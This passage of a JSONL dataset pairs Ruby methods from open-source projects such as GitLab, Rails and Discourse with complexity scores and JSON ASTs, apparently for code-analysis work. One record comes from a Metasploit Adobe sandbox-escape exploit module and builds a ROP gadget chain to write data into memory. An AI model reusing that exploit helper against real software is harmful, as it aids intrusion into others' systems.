end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"building_for_mac?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"project\"]},\"supports_mac_catalyst?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"building_mac_catalyst_for_mac?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"building_multiplatform_for_ios?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"project\"]},\"mac?\"]}]}]}]}]}","id":"10972be5-523b-4923-a438-4ad376fddfdb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/triggers_controller.rb","start_line":38,"raw_source":"def update\n    response = ::Ci::PipelineTriggers::UpdateService.new(user: current_user, trigger: trigger,\n      description: trigger_params[:description]).execute\n\n    if response.success?\n      redirect_to project_settings_ci_cd_path(@project, anchor: 'js-pipeline-triggers'),\n        notice: _('Trigger token was successfully updated.')\n    else\n      render action: \"edit\"\n    end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"PipelineTriggers\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trigger\"]},{\"type\":\"send\",\"children\":[null,\"trigger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"trigger_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"project_settings_ci_cd_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"anchor\"]},{\"type\":\"str\",\"children\":[\"js-pipeline-triggers\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"notice\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"Trigger token was successfully updated.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"edit\"]}]}]}]}]}]}]}","id":"11f6b3cc-ea93-440c-bc69-b6b0b89da6fa"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20221206114142_backfill_admin_action_logs_again.rb","start_line":195,"raw_source":"def process_logs_for_canonical_email_block\n    AdminActionLog.includes(:canonical_email_block).where(target_type: 'CanonicalEmailBlock', human_identifier: nil).find_each do |log|\n      next if log.canonical_email_block.nil?\n\n      log.update_attribute('human_identifier', log.canonical_email_block.canonical_email_hash)\n    end\n  end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_logs_for_canonical_email_block\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AdminActionLog\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"canonical_email_block\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_type\"]},{\"type\":\"str\",\"children\":[\"CanonicalEmailBlock\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"human_identifier\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"log\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"canonical_email_block\"]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"update_attribute\",{\"type\":\"str\",\"children\":[\"human_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},\"canonical_email_block\"]},\"canonical_email_hash\"]}]}]}]}]}","id":"3327e626-461a-4b32-9007-7a9291b88e74"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/award_emojis_finder.rb","start_line":27,"raw_source":"def by_awarded_by(awards)\n    return awards unless params[:awarded_by]\n\n    awards.awarded_by(params[:awarded_by])\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"by_awarded_by\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"awards\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"awarded_by\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"awards\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"awards\"]},\"awarded_by\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"awarded_by\"]}]}]}]}]}","id":"22ea5140-1a9e-40ff-a4dc-12a3cddf49a3"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/localized_templates_test.rb","start_line":33,"raw_source":"def test_use_fallback_locales\n    I18n.locale = :\"de-AT\"\n    I18n.backend.class.include(I18n::Backend::Fallbacks)\n    I18n.fallbacks[:\"de-AT\"] = [:de]\n\n    get :hello_world\n    assert_equal \"Guten Tag\", @response.body\n  end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_use_fallback_locales\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"locale=\",{\"type\":\"sym\",\"children\":[\"de-AT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"class\"]},\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"Backend\"]},\"Fallbacks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"fallbacks\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"de-AT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"de\"]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"hello_world\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Guten Tag\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"body\"]}]}]}]}","id":"e0218a11-cc01-4896-bdaf-545b18fe75e6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/mcp/tools/manager.rb","start_line":65,"raw_source":"def get_custom_tool(name, version)\n        tool_class = CUSTOM_TOOLS[name]\n\n        unless version.nil? || tool_class.version_exists?(version)\n          available_versions = tool_class.available_versions\n          raise VersionNotFoundError.new(name, version, available_versions)\n        end\n\n        tool_class.new(name: name, version: version)\n      end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_custom_tool\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"version\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool_class\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CUSTOM_TOOLS\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"version\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_class\"]},\"version_exists?\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"available_versions\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_class\"]},\"available_versions\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VersionNotFoundError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"available_versions\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}]}]}","id":"94348a1e-fa58-42ab-bcb6-a61a5602f107"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/project/relation_factory.rb","start_line":245,"raw_source":"def setup_protected_ref_access_level\n          return if root_group_owner?\n          return if @relation_hash['access_level'] == Gitlab::Access::NO_ACCESS\n          return if @relation_hash['access_level'] == Gitlab::Access::MAINTAINER\n\n          @relation_hash['access_level'] = Gitlab::Access::MAINTAINER\n        end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup_protected_ref_access_level\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"root_group_owner?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"access_level\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"NO_ACCESS\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]\",{\"type\":\"str\",\"children\":[\"access_level\"]}]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"MAINTAINER\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@relation_hash\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"access_level\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"MAINTAINER\"]}]}]}]}","id":"63448058-3c91-47f3-baf6-2f649b27a953"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/adobe_sandbox_adobecollabsync.rb","start_line":197,"raw_source":"def store(buf, data, address)\n    i = 0\n    while (i < data.length)\n      buf << [@gadgets['pop edi # ret']].pack(\"V\")\n      buf << [address + i].pack(\"V\") # edi\n      buf << [@gadgets['pop ecx # ret']].pack(\"V\")\n      buf << data[i, 4].ljust(4, \"\\x00\") # ecx\n      buf << [@gadgets['mov [edi], ecx # ret']].pack(\"V\")\n      i = i + 4\n    end\n    return i\n  end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"store\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buf\"]},{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"address\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@gadgets\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pop edi # ret\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"address\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@gadgets\"]},\"[]\",{\"type\":\"str\",\"children\":[\"pop ecx # ret\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]},{\"type\":\"int\",\"children\":[4]}]},\"ljust\",{\"type\":\"int\",\"children\":[4]},{\"type\":\"str\",\"children\":[\"\\u0000\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@gadgets\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mov [edi], ecx # ret\"]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"i\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}","id":"2a7fe974-4f99-48e5-a1b2-f5034222bf3b"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/user.rb","start_line":1639,"raw_source":"def number_of_rejected_posts\n    ReviewableQueuedPost.rejected.where(target_created_by_id: self.id).count\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"number_of_rejected_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ReviewableQueuedPost\"]},\"rejected\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_created_by_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"id\"]}]}]}]},\"count\"]}]}","id":"a167f768-75f5-4a51-a168-77458e804d68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/safe_request_loader.rb","start_line":9,"raw_source":"def initialize(resource_key:, resource_ids:, default_value: nil)\n      @resource_key = resource_key\n      @resource_ids = resource_ids.uniq\n      @default_value = default_value\n      @resource_data = {}\n    end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"resource_key\"]},{\"type\":\"kwarg\",\"children\":[\"resource_ids\"]},{\"type\":\"kwoptarg\",\"children\":[\"default_value\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@resource_key\",{\"type\":\"lvar\",\"children\":[\"resource_key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@resource_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_ids\"]},\"uniq\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@default_value\",{\"type\":\"lvar\",\"children\":[\"default_value\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@resource_data\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"0e0348c1-201b-48b8-ba42-db87b7f825ab"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_request_workflow.rb","start_line":1403,"raw_source":"def get_pxe_server\n    PxeServer.find_by(:id => get_value(@values[:pxe_server_id]))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"get_pxe_server\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PxeServer\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"get_value\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@values\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pxe_server_id\"]}]}]}]}]}]}]}","id":"b5292f6e-e76e-48bb-b2c0-552a5bbb3d88"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/sharing_strategies/project_query_strategy.rb","start_line":51,"raw_source":"def manageable?\n      @entity.editable? && feature_available?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"manageable?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@entity\"]},\"editable?\"]},{\"type\":\"send\",\"children\":[null,\"feature_available?\"]}]}]}","id":"a1a63dfe-7901-466b-94db-5c591f7726b2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/update_runner_service.rb","start_line":10,"raw_source":"def initialize(current_user, runner)\n        @current_user = current_user\n        @runner = runner\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_user\"]},{\"type\":\"arg\",\"children\":[\"runner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@runner\",{\"type\":\"lvar\",\"children\":[\"runner\"]}]}]}]}","id":"42ef18b1-a898-4b1d-816b-7ce3c88341cc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/inheritance.rb","start_line":270,"raw_source":"def set_base_class # :nodoc:\n          @base_class = if self == Base\n            self\n          else\n            unless self < Base\n              raise ActiveRecordError, \"#{name} doesn't belong in a hierarchy descending from ActiveRecord\"\n            end\n\n            if superclass == Base || superclass.abstract_class?\n              self\n            else\n              superclass.base_class\n            end\n          end\n        end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_base_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@base_class\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"==\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]},{\"type\":\"self\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"<\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ActiveRecordError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\" doesn't belong in a hierarchy descending from ActiveRecord\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"abstract_class?\"]}]},{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"superclass\"]},\"base_class\"]}]}]}]}]}]}","id":"1e6fd22e-ec32-4a4f-a64a-894afa04e89d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/ci/variables_resolver.rb","start_line":12,"raw_source":"def resolve(**args)\n        if parent.is_a?(Group) || parent.is_a?(Project)\n          parent.variables.order_by(args[:sort])\n        elsif current_user&.can_admin_all_resources?\n          ::Ci::InstanceVariable.order_by(args[:sort])\n        end\n      end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve\",{\"type\":\"args\",\"children\":[{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Project\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"variables\"]},\"order_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_admin_all_resources?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Ci\"]},\"InstanceVariable\"]},\"order_by\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sort\"]}]}]},null]}]}]}","id":"099e3e9e-326c-4180-99d4-76b03a75dc60"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/spec/support/encoding_helper.rb","start_line":15,"raw_source":"def with_default_external_encoding(encoding)\n    orig_encoding = Encoding.default_external\n    RuboCop::Util.silence_warnings { Encoding.default_external = encoding }\n    yield\n  ensure\n    RuboCop::Util.silence_warnings { Encoding.default_external = orig_encoding }\n  end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"with_default_external_encoding\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"encoding\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"orig_encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_external\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"Util\"]},\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_external=\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]}]},{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RuboCop\"]},\"Util\"]},\"silence_warnings\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"default_external=\",{\"type\":\"lvar\",\"children\":[\"orig_encoding\"]}]}]}]}]}","id":"98cbec54-95d5-4ab7-ac8b-9f24b07109dd"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-assign/lib/assigner.rb","start_line":96,"raw_source":"def self.is_last_staff_post?(post)\n    allowed_user_ids = User.assign_allowed.pluck(:id).join(\",\")\n\n    sql = <<~SQL\n      SELECT 1\n        FROM posts p\n        JOIN users u ON u.id = p.user_id\n       WHERE p.deleted_at IS NULL\n         AND p.topic_id = :topic_id\n         AND u.id IN (#{allowed_user_ids})\n      HAVING MAX(post_number) = :post_number\n    SQL\n\n    args = { topic_id: post.topic_id, post_number: post.post_number }\n\n    DB.exec(sql, args) == 1\n  end","complexity_score":11.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"is_last_staff_post?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"allowed_user_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"assign_allowed\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SELECT 1\\n\"]},{\"type\":\"str\",\"children\":[\"  FROM posts p\\n\"]},{\"type\":\"str\",\"children\":[\"  JOIN users u ON u.id = p.user_id\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE p.deleted_at IS NULL\\n\"]},{\"type\":\"str\",\"children\":[\"   AND p.topic_id = :topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"   AND u.id IN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed_user_ids\"]}]},{\"type\":\"str\",\"children\":[\")\\n\"]},{\"type\":\"str\",\"children\":[\"HAVING MAX(post_number) = :post_number\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"args\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"topic_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_number\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"post_number\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"lvar\",\"children\":[\"sql\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]}]}","id":"6d8d45b9-7caf-4fea-a2a6-85585ec36e67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/ci/pipelines_helper.rb","start_line":7,"raw_source":"def has_gitlab_ci?(project)\n      project.has_ci? && project.builds_enabled?\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_gitlab_ci?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"has_ci?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"builds_enabled?\"]}]}]}","id":"e48cdb75-18a4-489a-a531-5c1affe4b87f"}
